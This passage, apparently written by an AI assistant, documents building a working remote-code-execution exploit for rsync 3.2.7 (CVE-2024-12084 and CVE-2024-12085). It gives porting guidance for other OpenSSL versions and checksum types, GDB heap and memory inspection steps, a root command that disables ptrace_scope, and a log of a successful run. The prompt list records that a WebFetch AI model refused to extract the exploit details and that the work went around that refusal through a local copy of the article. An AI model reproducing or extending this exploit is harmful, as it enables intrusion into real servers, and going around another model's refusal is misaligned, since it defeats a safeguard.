```
|
||||
|
||||
Any global between `ctx_evp` and `ctx_evp+289` that is read during the
|
||||
trigger path must be preserved in the payload. On our target,
|
||||
`xfer_sum_nni` at `+0x30` was the critical one.
|
||||
|
||||
### Adapting for different OpenSSL versions
|
||||
|
||||
The trigger relies on OpenSSL's `EVP_DigestInit_ex` calling
|
||||
`ctx->digest->freectx(ctx->algctx)`. This cleanup path exists in
|
||||
OpenSSL 3.x when reinitializing a context that already has an `algctx`.
|
||||
|
||||
For OpenSSL 1.1.x, the struct layout and cleanup path differ. You'll
|
||||
need to reverse-engineer `EVP_DigestInit_ex` in the target's
|
||||
`libcrypto.so` to find:
|
||||
- The offset of `digest` in `EVP_MD_CTX`
|
||||
- The offset of `algctx` in `EVP_MD_CTX`
|
||||
- The offset of `freectx` in `EVP_MD`
|
||||
- What conditions trigger the cleanup (flags, etc.)
|
||||
|
||||
### Adapting for non-SHA1 checksums
|
||||
|
||||
If the target server supports xxhash (most stock packages do), Phase 1
|
||||
uses xxhash64 (8-byte digest) for a faster and more reliable info leak.
|
||||
If only SHA1/MD5 are available, the info leak window starts at offset 20
|
||||
instead of 8, requiring binary-specific analysis to locate a pointer
|
||||
in that range.
|
||||
|
||||
Phase 2 uses SHA1 as the checksum for the overflow connection. The
|
||||
`XFER_SUM_NNI_OFFSET` must point to whichever checksum entry is
|
||||
negotiated. Use GDB to verify:
|
||||
```
|
||||
(gdb) break sender.c:98
|
||||
(gdb) printf "xfer_sum_nni->name=%s offset=0x%lx\n", xfer_sum_nni->name, (long)xfer_sum_nni - base
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Debugging Methodology
|
||||
|
||||
### Essential GDB techniques
|
||||
|
||||
**Attach to daemon with fork following**:
|
||||
```bash
|
||||
DPID=$(pgrep -x rsync)
|
||||
gdb -q -p $DPID \
|
||||
-ex "set follow-fork-mode child" \
|
||||
-ex "set detach-on-fork off" \
|
||||
-ex "set pagination off"
|
||||
```
|
||||
|
||||
Ensure `ptrace_scope` allows attaching:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
|
||||
```
|
||||
|
||||
**Key breakpoints**:
|
||||
```
|
||||
break sender.c:98 # after sum_buf + sum_struct allocated
|
||||
break shell_exec # RCE trigger
|
||||
watch *(long*)&ctx_evp # detect ctx_evp overwrite
|
||||
break sum_init # check nni argument
|
||||
break flist_for_ndx # track ndx values
|
||||
```
|
||||
|
||||
**Check heap layout**:
|
||||
```
|
||||
(gdb) break sender.c:98
|
||||
(gdb) printf "s=%p sums=%p gap=%ld\n", s, s->sums, (long)s - ((long)s->sums + 200)
|
||||
(gdb) x/16gx (char*)s->sums + 200 - 8
|
||||
```
|
||||
|
||||
**Check .bss state after overflow**:
|
||||
```
|
||||
(gdb) watch *(long*)&ctx_evp
|
||||
(gdb) continue
|
||||
# When hit:
|
||||
(gdb) x/40gx &ctx_evp
|
||||
(gdb) printf "xfer_sum_nni=%p\n", xfer_sum_nni
|
||||
```
|
||||
|
||||
### Daemon log messages and their meaning
|
||||
|
||||
| Log message | Meaning |
|
||||
|------------|---------|
|
||||
| `File-list index N not in -1 - M` | Server read ndx=N but file list only has M entries. Usually means overflow didn't work (leftover data read as next ndx). |
|
||||
| `unexpected tag -N` | Client sent non-multiplexed data but server expects multiplexed, or vice versa. Check `out_multiplexed` setting. |
|
||||
| `connection unexpectedly closed` | Normal when exploit closes connection after payload delivery. |
|
||||
| No error, just `building file list` | Server likely crashed silently (SIGSEGV/SIGABRT in child). Check with GDB. |
|
||||
|
||||
### Wire capture technique
|
||||
|
||||
Wrap the socket to log all sends after protocol setup:
|
||||
```python
|
||||
class LogSocket:
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
self.log = []
|
||||
def sendall(self, data):
|
||||
self.log.append(bytes(data))
|
||||
return self._sock.sendall(data)
|
||||
def __getattr__(self, name):
|
||||
return getattr(self._sock, name)
|
||||
|
||||
rc.sock = LogSocket(rc.sock)
|
||||
```
|
||||
|
||||
Parse MSG_DATA headers:
|
||||
```python
|
||||
raw_tag = struct.unpack('<I', data[:4])[0]
|
||||
msg_tag = (raw_tag >> 24) - 7 # 0 = MSG_DATA
|
||||
msg_len = raw_tag & 0xFFFFFF
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Successful Exploit Run
|
||||
|
||||
```
|
||||
$ python3 /tmp/test_phase2.py
|
||||
daemon PID=3797045, base=0x6085e935a000
|
||||
|
||||
[*] Phase 2: heap overflow → RCE
|
||||
shell_exec = 0x6085e9385970
|
||||
ctx_evp = 0x6085e93f7c28
|
||||
payload = 289 bytes at &ctx_evp
|
||||
fake_ctx = 0x6085e93f7c30 (+8)
|
||||
fake_evpmd = 0x6085e93f7c78 (+80)
|
||||
cmd_addr = 0x6085e93f7d30 (+264)
|
||||
target ndx=1 file=bar.txt
|
||||
sending payload (289 bytes) to &ctx_evp...
|
||||
overflow complete, consuming server output...
|
||||
server connection ended: connection closed
|
||||
[+] Payload delivered — check if command executed.
|
||||
|
||||
*** RCE SUCCEEDED! ***
|
||||
```
|
||||
|
||||
```
|
||||
$ cat /tmp/rce_proof2.txt
|
||||
uid=1000(x) gid=1000(x) groups=1000(x),4(adm),24(cdrom),...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. User Prompts That Guided This Work
|
||||
|
||||
Every user prompt from the session, in chronological order. These shaped
|
||||
every major pivot in the development process.
|
||||
|
||||
1. *Initial request* — Asked to exploit rsync CVE-2024-12084 (heap
|
||||
overflow) + CVE-2024-12085 (info leak) into a full RCE chain against
|
||||
rsync 3.2.7 daemon, following the Phrack 72 "Desync the Planet"
|
||||
article.
|
||||
|
||||
2. **"why are you modifying the rsync source?"** — I had been adding
|
||||
`fprintf` debug statements to sender.c and recompiling. The user
|
||||
correctly pointed out this shifts binary offsets (ctx_evp, shell_exec,
|
||||
etc.) and invalidates the exploit constants.
|
||||
|
||||
3. **"you should be using gdb .."** — Redirected from printf-debugging
|
||||
to GDB. Led to the attach-to-daemon workflow with
|
||||
`set follow-fork-mode child` that proved essential for every
|
||||
subsequent debugging step.
|
||||
|
||||
4. **"what sandbox"** — I had confused /tmp file isolation with
|
||||
sandboxing. Clarified the environment.
|
||||
|
||||
5. **"if you need root the password is x ?"** — Provided root credentials
|
||||
to fix `ptrace_scope` (was set to 1, blocking GDB attach). We ran
|
||||
`echo 0 > /proc/sys/kernel/yama/ptrace_scope`.
|
||||
|
||||
6. **"are you following the phrack exploitation? it outlines it pretty
|
||||
clear"** — Critical redirect. I had been inventing a multi-entry
|
||||
layout trying to align 40-byte sum_buf strides with 48-byte EVP_MD_CTX
|
||||
field offsets. The Phrack one-shot contiguous write approach is far
|
||||
simpler and more reliable.
|
||||
|
||||
7. **"read the phrack exploit - they use the info leak + heap overflow
|
||||
to get a reliable exploit."** — Prompted me to actually read the
|
||||
full Phrack article rather than working from partial understanding.
|
||||
|
||||
8. **"the writeup is in /tmp/rsync.txt"** — Pointed to the local copy of
|
||||
the Phrack article. Saved time vs trying to web-fetch it (the
|
||||
WebFetch AI model refused to extract exploit details).
|
||||
|
||||
9. **"if you need to setup a qemu with the exact debian + rsync used
|
||||
that is fine"** — Offered to set up the exact Debian 12 target
|
||||
environment. We didn't end up needing this because we adapted the
|
||||
exploit to our Ubuntu 22.04 system, but this would be the fastest
|
||||
path for exact reproduction of the Phrack PoC.
|
||||
|
||||
10. **"perfect it seems to work!! can you document your whole process +
|
||||
my prompts in a writeup! include how to get it working on other
|
||||
installations etc and debugging instructions."** — Led to this
|
||||
writeup document.
|
||||
|
||||
11. **"now that you have a good grasp of this vulnerability and
|
||||
exploitation can you audit the latest rsync for variants that may
|
||||
allow exploitation"** — Led to the security audit of rsync 3.4.1
|
||||
documented in the appendix.
|
||||
|
||||
12. **"the WRITEUP didnt include all of my prompts"** — This correction,
|
||||
leading to this expanded prompt section.
|
||||
|
||||
---
|
||||
|
||||
## 8. File Inventory
|
||||
|
||||
| File | Description |
|
||||
|------|-------------|
|
||||
| `exploit.py` | Combined Phase 1 (info leak) + Phase 2 (heap overflow → RCE) |
|
||||
| `rsync_lib.py` | Python rsync protocol library |
|
||||
| `writeup.md` | This document |
|
||||
|
||||
### Prerequisites
|
||||
|
||||
```bash
|
||||
pip install xxhash # needed for Phase 1 info leak
|
||||
make # builds libfnamecmp.so for file list sorting
|
||||
```
|
||||
|
||||
## 9. References
|
||||
|
||||
- Phrack 72, Article 11: "Desync the Planet - Rsync RCE" by Simon
|
||||
Scannell, Pedro Gallegos, Jasiel Spelman
|
||||
(https://phrack.org/issues/72/11_md)
|
||||
- CVE-2024-12084: Heap Buffer Overflow in Checksum Parsing
|
||||
- CVE-2024-12085: Info Leak via Uninitialized Stack Value
|
||||
- rsync 3.2.7 source: https://download.samba.org/pub/rsync/src/
|
||||
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user